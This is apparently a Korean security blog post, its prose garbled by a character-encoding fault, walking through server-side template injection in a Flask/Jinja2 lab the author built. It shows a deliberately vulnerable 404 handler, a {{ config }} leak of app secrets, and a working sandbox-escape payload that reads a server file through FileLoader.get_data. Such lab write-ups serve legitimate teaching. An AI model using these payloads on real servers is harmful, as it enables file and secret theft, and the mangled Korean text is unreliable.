SSTI(Server Side Template Injection)์ทจ์ฝ์
๊ณต๊ฒฉ ์ฝ๋๊ฐ ์น ํ ํ๋ฆฟ์ ํฌํจ๋ ์ํ์์ ์๋ฒ ์ธก์์ ํ ํ๋ฆฟ ์ธ์ ์ ์ด ๋ฐํ๋๋ ๊ณต๊ฒฉ์ ์๋ฏธํฉ๋๋ค.
์์, ํ ํ๋ฆฟ ์์ง์ ๋ํ ์ด์ผ๊ธฐ๋ฅผ ํด๋ด ์๋ค.
์น ํ ํ๋ฆฟ ์์ง์ ์นํ์ด์ง ์ ๊ณ ์ ์ ์ผ๋ก ์ฌ์ฉ๋๋ ๋ถ๋ถ์ ํ ํ๋ฆฟ์ผ๋ก ๋ฏธ๋ฆฌ ์์ฑํด ๋๊ณ ,
๋์ ์ผ๋ก ๋ณ๊ฒฝ๋๋ ๋ฐ์ดํฐ ์์ญ์ ๊ฒฐํฉํ์ฌ ์น ๋ฌธ์๋ฅผ ๊ตฌ์ฑํ๊ณ ํ๋ฉด์ ์ถ๋ ฅํ๊ฒ ํฉ๋๋ค.
์๋ ์ฌ์ง์ ์ ๊ฐ ๋ฏธ๋ฆฌ ๊ตฌ์ถํด๋ ์ํ ํ๊ฒฝ์ ๋๋ค.
๋ฉ์ธ ํ์ด์ง ์ ๋ฐฐ๊ฒฝ์ ๊ฐ์ ์์์ด ๊น๋ ค์์ต๋๋ค.
์ด๋ ๊ฒ ๋์ผํ, ์ค๋ณต๋ ๋ถ๋ถ์ ๋ฏธ๋ฆฌ ํ ํ๋ฆฟ์ผ๋ก ๋ง๋ค์ด๋์ผ๋ฉด ์์ค์ฝ๋๋ฅผ ์ข ๋ ํจ์จ์ ์ผ๋ก ๊ด๋ฆฌํ ์ ์์ต๋๋ค.
{% with messages = get_flashed_messages() %}
{% if messages %}
<script>
alert("{{ messages[-1] }}");
</script>
{% endif %}
{% endwith %}
<!DOCTYPE html>
<html lang="en">
<head>
{% block head %}
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>{% block title %}{% endblock %} - My Webpage</title>
{% endblock %}
</head>
<body>
<iframe src="https://www.youtube.com/embed/93M1QtYDtpU?autoplay=1&mute=1&loop=1&control=0&playlist=93M1QtYDtpU&controls=0" \
title="A$AP ROCKY X TYLER THE CREATOR - POTATO SALAD" class="back_youtube" \
frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; web-share" \
allowfullscreen>
</iframe>
{% block content %}
{% endblock %}
</body>
</html>
์ ์์ค์ฝ๋๋ฅผ ๋ณด๋ฉด, {% block head %}{% endblock %} ๋ถ๋ถ๊ณผ {% block content %}{% endblock %} ๋ถ๋ถ์ด ์์ต๋๋ค.
์ด๋ ๊ฒ, ๋ฐ๋๋ ๋ถ๋ถ์ ์ ์ธํ ๋ฐ๋ณต๋๋ ๋ถ๋ถ์ ํ ํ๋ฆฟ์ผ๋ก ๋ง๋ค์ด ๋๋๋ค๋ฉด, ๋์ฑ ์ํจํ๊ณ ์ผ๊ด์ฑ์๊ฒ ์์ค๋ฅผ ๊ด๋ฆฌํ ์ ์์ต๋๋ค.
๋ค์ ๋ณธ๋ก ์ผ๋ก ๋์์์, ์์ ๊ฐ์ด ํ ํ๋ฆฟ ๊ตฌ๋ฌธ์ ์ฌ์ฉ์๊ฐ ์ ๋ ฅํ ์ ์๋ค๋ฉด ์๋ฒ๋ ์ด๋ฅผ ์ ์์ ์ผ๋ก ์ฒ๋ฆฌํ ๊ฒ์ ๋๋ค.
์ฌ๊ธฐ์ SSTI(Server Side Template Injection)๊ฐ ๋ฐ์ํฉ๋๋ค.
img_2๋ฅผ ๋ณด๋ฉด ์๋ฒ ์ธก์ Template์ด ๊ตฌ์ฑ๋์ด ์๊ณ , ๊ณต๊ฒฉ์๊ฐ ms์ฝ๋์ {{ 7*7 }}๋ผ๋ Template ๊ตฌ๋ฌธ์ ์ ๋ ฅํ๋ฉด
์๋ฒ์ธก์์ ์คํ๋๋ ๊ณผ์ ์ ํ์ธํ ์ ์์ต๋๋ค.
๋ํ ๋ฌธ๋ฒ์ Template Engine๋ง๋ค ์ฐจ์ด๊ฐ ์์ต๋๋ค.
${ ... } | {{ ... }} | <%= %> | ... |
์ด๋ฌํ SSTI๋ Server Side์ ์ทจ์ฝ์ ๊ณต๊ฒฉ(RCE, SSRF)์ผ๋ก ์ด์ด์ง ์ ์์ด ์ํ๋๊ฐ ๋์ต๋๋ค.
์ด๋ฒ ํฌ์คํ ์์๋ ์ฌ๋ฌ Engines์ค ์ ์ค์ต ํ๊ฒฝ์์๋ ์ฌ์ฉํ 'Jinja Template'์ ๊ดํด ์งํํด ๋ณผ ๊ฒ์ ๋๋ค.
์ฐ์ , ์ ์น์ ์ทจ์ฝํ ํ์ด์ง๋ ๋ฐ๋ก ์ค๋ฅ ํ์ด์ง์ ๋๋ค.
์์ฒญ์ ์ค๋ฅ๊ฐ ๋๋ ์ํฉ์ ๋ฐ๋ก ์ฒ๋ฆฌํ์ฌ ๋ฆฌํด์์ผฐ๋๋ฐ, ์ฝ๋๋ ์๋์ ๊ฐ์ต๋๋ค.
@app.errorhandler(404)
def page_not_found(e):
if session:
name = session['name']
html = '''
ํด๋น ํ์ด์ง๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค %s๋.
''' % name
return render_template_string(html), 404
else:
html = '''
404 ํ์ด์ง๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค.
'''
return render_template_string(html), 404
์ทจ์ฝ์ ์ ์ render_template_string ํจ์์์ ๋ฐ์ํฉ๋๋ค.
session์ด ์กด์ฌํ ๊ฒฝ์ฐ๋ฅผ ๋ณด๋ฉด ๋ณ์ html์ ๋ฉ์์ง์ ์ฌ์ฉ์ ์ด๋ฆ์ ์ ๋ ฅ๋ฐ์ต๋๋ค.
๊ทธ๋ฆฌ๊ณ ์ด ๋ณ์๋ ๋ ๋๋ง๋์ด ์ฌ์ฉ์์๊ฒ ๋ณด์ฌ์ง๊ฒ ๋ฉ๋๋ค.
์ฌ๊ธฐ์ ๋ง์ฝ, ์ฌ์ฉ์ ์ด๋ฆ์ Template ๊ตฌ๋ฌธ์ผ๋ก ๋ง๋ค์๋ค๋ฉด SSTI ๋๋ ๊ฒ์ ๋๋ค.
์๋ ๊ทธ๋ฆผ์ผ๋ก ํ์ธํด ๋ณด๊ฒ ์ต๋๋ค.
์ฌ์ฉ์ ์ด๋ฆ์ {{ 7*7 }}๋ก ํ๋๋ ์ฐ์ฐ์ด ์คํ๋์ด 49๋ผ๊ณ ๋์ต๋๋ค.
๊ธฐ๋ณธ์ ์ผ๋ก flask์ ๊ฒฝ์ฐ app์ ๋ค์ด๊ฐ๋ ๋๋ถ๋ถ์ ์ ๋ณด๋ค์ด config ํด๋์ค์ ๋ค์ด์์ต๋๋ค.
ํ๋ฒ {{ config }}๋ก ์ด๋ฆ์ ๋ฃ์ด๋ณผ๊น์?
img_5๋ฅผ ๋ณด๋ฉด, ์ค์ ์๋ฒ์์ ์ฌ์ฉ๋๋ ์ค์ํ ์ ๋ณด๋ค์ด ๋ํ๋ฌ์ต๋๋ค.
์ด๋ฟ๋ง ์๋๋ผ, RCE(Remote Code Execute)์ ์ฐ๊ณํ์ฌ ์์คํ ์ ์ ๊ทผํ์ฌ ๋ช ๋ น์ด๋ฅผ ์คํ ํ ์ ์์ต๋๋ค.
jinja ์์์ ssti์ RCE์ ์ฐ๊ณ๋ฅผ ์ํด์ sandbox๋ก๋ถํฐ ๋ฒ์ด๋, python์ฝ๋๋ฅผ ์คํ์ํฌ ๋ฐฉ๋ฒ์ ์ฐพ์์ผ ํฉ๋๋ค.
์ด๋ฅผ ์ํด์ ์ค๋ธ์ ํธ๋ค์ ์ฌ์ฉํ ๊ฑด๋ฐ, ํด๋น ์ค๋ธ์ ํธ๋ค์ ์๋๋ฐ์ค ํ๊ฒฝ์์๋ ๋ฒ์ด๋ ์์ง๋ง ์ ๊ทผ์ ๊ฐ๋ฅํด์ผ ํฉ๋๋ค.
์ดํด๊ฐ ์ ์๋๋ค๊ตฌ์?
์๋ฅผ ํ๋ ๋ค์ด๋ณด๊ฒ ์ต๋๋ค.
render_template("ch4n.html", UserId=UserId, UserName=UserName)
์ ์ฝ๋์์ UserId์ UserName์ด๋ objects๋ non-sandboxed ํ๊ฒฝ์ด์ง๋ง, sandboxed ํ๊ฒฝ์์ ์ ๊ทผ์ด ๊ฐ๋ฅํฉ๋๋ค.
๊ทธ๋ฆฌ๊ณ ์ด๋ ํ sandboxํ๊ฒฝ์์๋ ์ ๊ทผ ๊ฐ๋ฅํ objects๋ ์๋์ ๊ฐ์ต๋๋ค.
[]
''
()
dict
config
request
์ด๋ฌํ objects๋ก๋ถํฐ ์ฐ๋ฆฌ๋ <class 'object'>๋ผ๋ ํด๋์ค์ ์ ๊ทผํด์ผ ํฉ๋๋ค.
<class 'object'>์ __subclasses__๋ผ๋ ๋ฉ์๋๋ฅผ ํตํด os์ ๊ฐ์ non-sandboxed class๋ค์ ๋ถ๋ฌ์ฌ ์ ์๊ธฐ ๋๋ฌธ์ ๋๋ค.
์ ์ด๋ฅผ ์ด์ฉํด ์ง์ ์๋ฒ์ ํ์ผ์ ์ฝ์ด์ค๋ ๊ณต๊ฒฉ์ ํด๋ด ์๋ค.
์ฐ๋ฆฌ๊ฐ ์งํ์ํฌ ํฐ ํ๋ฆ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
ํ์ผ์ ์ฝ์ด์ค๊ธฐ ์ํด ์ฌ์ฉํ class๋ฅผ ํ์ํด ๋ด ์๋ค.
{{ ''.__class__ }}
ํด๋น ํ์ด์ง๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค <class 'str'>๋.
__class__ ๋งค์๋๋ ํด๋น ์ค๋ธ์ ํธ์ ํด๋์ค๋ฅผ ๋ณด์ฌ์ค๋๋ค.
{{ ''.__class__.__mro__ }}
ํด๋น ํ์ด์ง๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค (<class 'str'>, <class 'object'>)๋.
__mro__ ๋งค์๋๋ ๋ถ๋ชจ ํด๋์ค๋ค์ ํ๋ธ๋ก ๋ฐํํด ์ค๋๋ค.
๋ฐํ ๊ฐ์ค ๋ ๋ฒ์งธ์ <class 'object'>๊ฐ ์์์ ํ์ธํ ์ ์์ต๋๋ค.
{{ ''.__class__.__mro__[1].__subclasses__() }}
ํด๋น ํ์ด์ง๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค [<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>,
...
<class 'jinja2.ext.Extension'>, <class 'jinja2.ext._CommentFinder'>]๋.
__subclasses__ ๋งค์๋๋ฅผ ํตํด ์ ๊ทผ ๊ฐ๋ฅํ ์๋ฐฑ๊ฐ์ง์ ํด๋์ค๋ค์ ํ์ธํ ์ ์์ต๋๋ค. ์ด์ค ์ฐ๋ฆฌ๊ฐ ์ฌ์ฉํ ํด๋์ค๋ ํ์ผ ์ ์ถ๋ ฅ ๊ด๋ จ ํจ์๊ฐ ์๋ <class '_frozen_importlib_external.FileLoader'> ์ ๋๋ค.
index๊ฐ 91์ด๋, __subclasses__()[91]๋ก ํด๋์ค์ ์ ๊ทผํ ์ ์์ต๋๋ค.
<class '_frozen_importlib_external.FileLoader'>์ ๊ดํด ์์ธํ ์ค๋ช ์ ํด๋ณด์๋ฉด
python์ด ๊ธฐ๋ณธ์ ์ผ๋ก ์๋ํ๊ธฐ ์ํด ํ์ํ ํด๋์ค๋ก, ๊ตฌ์ฒด์ ์ผ๋ก import๋ฅผ ๊ตฌํํ๋ ๊ตฌ์ฑ ์์์ ๋๋ค.
ํด๋์ค ๋งจ ์ _frozen_์ ์ฝ๊ฒ ๋งํด Unix system์ ์ํ python ์ปดํ์ผ ์ ํธ๋ฆฌํฐ๋ผ ๋ณด๋ฉด ๋ฉ๋๋ค.
https://wiki.python.org/moin/Freeze
FileLoader๋ filename๊ณผ path๋ผ๋ ๋ ๊ฐ์ง์ ์ธ์๋ฅผ ๋ฐ์ต๋๋ค.
๋ํ, get_data๋ผ๋ ํจ์๋ฅผ ๊ฐ์ง๋๋ฐ ํด๋น ํจ์๋ path์ธ์๋ฅผ ๋ฐ์ ๋ฐ์ด๋๋ฆฌ ํ์ผ๋ก ์ฝ๊ณ ๋ฐ์ดํธ์ด์ ๋ฐํํด์ค๋๋ค.
์ฝ๊ฒ ๋งํด, ํ์ผ์ ์ฝ์ด์ฃผ๋ ์ญํ ์ ์ํํ ์ ์์ต๋๋ค.
https://docs.python.org/ko/dev/library/importlib.html#importlib.abc.FileLoader
์๋ ์ฝ๋๋ importlib์ FileLoaderํด๋์ค ์ ๋๋ค.
class FileLoader:
...
def get_data(self, path):
"""Return the data from path as raw bytes."""
if isinstance(self, (SourceLoader, ExtensionFileLoader)):
with _io.open_code(str(path)) as file:
return file.read()
else:
with _io.FileIO(path, 'r') as file:
return file.read()
...
์ฐ๋ฆฌ๋ ์ง๊ธ ์๋ฒ์ ๋ฏธ๋ฆฌ ์ ์ฅํด ๋ /secret ํ์ผ์ ์ฝ์ด์ฌ ๊ฒ์ ๋๋ค.
์ฝ๋๋ ...('secret','/secret').get_data('/secret') ๊ณผ๊ฐ์ด ์์ฑํด์ผ๊ฒ ์ฃ ?
{{ ''.__class__.__mro__[1].__subclasses__()[91]('secret','/secret').get_data('/secret') }}
์ด์ ํด๋น payload๋ก ์ด๋ฆ์ ๋ฐ๊ฟ๋ณด๊ณ ํ์ธํด ๋ด ์๋ค.
์ฑ๊ณต์ ์ผ๋ก ์๋ฒ ์ ํ์ผ์ ์ฝ์ด์์ต๋๋ค.
์ด์ฒ๋ผ ssti๋ server side ๋ฌด์์ด ๊ณต๊ฒฉ๋ค๋ก ์ด์ด์ง ์ ์์ต๋๋ค.
์ต๋ํ์ ์ดํด๋ฅผ ๋๊ธฐ ์ํด ์ ๊ฐ ์ฐพ์๊ฐ๋ ๋ฃจํธ๋ฅผ ๊ทธ๋๋ก ๋ฐ๋ผ๊ฐ๋ค๋ณด๋,
๊น์ ๋ถ๋ถ๊น์ง ๊ฐ๊ฒ ๋์์ต๋๋ค.
์ด์ ์ด๋ฒ ํฌ์คํ ์ ๋ง์น๊ฒ ์ต๋๋ค.
'web hacking ๐ฅ > techniques โ principles' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
HTTP Request Smuggling ์ทจ์ฝ์ (0) | 2024.12.08 |
---|---|
Race Condition (0) | 2024.04.05 |
SSTI - RCE(Remote Code Execution) ์ฐ๊ณ ๊ณต๊ฒฉ (0) | 2023.10.13 |
sql-injection ๊ธฐ๋ณธ ๊ฐ๋ ๊ณผ ์์ ์ค์ต (1) | 2023.08.14 |